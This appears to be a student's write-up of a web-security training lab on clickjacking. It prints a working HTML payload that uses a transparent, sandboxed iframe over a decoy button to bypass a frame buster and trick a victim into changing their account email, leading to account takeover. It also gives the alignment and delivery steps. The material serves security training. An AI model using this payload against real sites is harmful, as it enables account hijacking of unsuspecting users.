Date : 12 Mar, 2025


ACCESS THE LAB

This lab adds one extra defense:
✅ A frame buster script on the target site (normally it prevents the site from being loaded inside an <iframe>).

BUT, you bypass this protection using:
<iframe sandbox="allow-forms" src="...">

👉 So, using a sandboxed iframe, you can still clickjack the user into changing their email to the attacker’s email.

Note

The victim will be using Chrome so test your exploit on that browser.

####  Hint

####  Solution

  1. Log in to the account on the target website.
    ../attachments/Pasted image 20250427142857.png|600

  2. Go to the exploit server and paste the following HTML template into the "Body" section:

    <style> iframe { position:relative; width:$width_value; height: $height_value; opacity: $opacity; z-index: 2; } div { position:absolute; top:$top_value; left:$side_value; z-index: 1; } </style> <div>Test me</div> <iframe sandbox="allow-forms" src="YOUR-LAB-ID.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>

  3. Make the following adjustments to the template:

    • Replace YOUR-LAB-ID in the iframe src attribute with your unique lab ID so that the URL of the target website's user account page, which contains the "Update email" form.
    • Substitute suitable pixel values for the $height_value and $width_value variables of the iframe (we suggest 700px and 500px respectively).
    • Substitute suitable pixel values for the $top_value and $side_value variables of the decoy web content so that the "Update email" button and the "Test me" decoy action align (we suggest 385px and 80px respectively).
    • Set the opacity value $opacity to ensure that the target iframe is transparent. Initially, use an opacity of 0.1 so that you can align the iframe actions and adjust the position values as necessary. For the submitted attack a value of 0.0001 will work.
      ../attachments/Pasted image 20250427143057.png|700

    Notice the use of the sandbox="allow-forms" attribute that neutralizes the frame buster script.

  4. Click Store and then View exploit.

  5. Hover over "Test me" and ensure the cursor changes to a hand indicating that the div element is positioned correctly. If not, adjust the position of the div element by modifying the top and left properties of the style sheet.
    ../attachments/Pasted image 20250427143332.png

  6. Once you have the div element lined up correctly, change "Test me" to "Click me" and click Store.
    ../attachments/Pasted image 20250427143252.png

  7. Change the email address in your exploit so that it doesn't match your own.
    ../attachments/Pasted image 20250427143057.png|700

  8. Deliver the exploit to the victim to solve the lab.
    ../attachments/Pasted image 20250427143433.png|700


What is sandbox in <iframe>?

Normally, when you load a page inside an <iframe>, JavaScript inside that page can detect it and break out of the frame using scripts like:

javascript
if (window.top !== window.self) { window.top.location = window.location; }

👉 This kind of frame-busting script forces the page to open normally instead of being embedded.

BUT if you add sandbox to your <iframe>, it locks down the iframe in a very strict, secure way:

It’s like putting the page inside a jail cell 🏛️.


✨ What does sandbox="allow-forms" mean?

By default, sandbox blocks everything.
When you write:

html
<iframe sandbox="allow-forms" src="..."></iframe>

you are saying:


Success

Result

  • Victim’s account email gets changed to hacker's email without the victim realizing.
  • Attacker can then reset the password using "Forgot password" and fully control the victim’s account.
  • ✅ Lab is solved when the email changes.

Connected Pages
On this page
  • Note
  • What is sandbox in ?
  • ✨ What does sandbox="allow-forms" mean?
    1. Result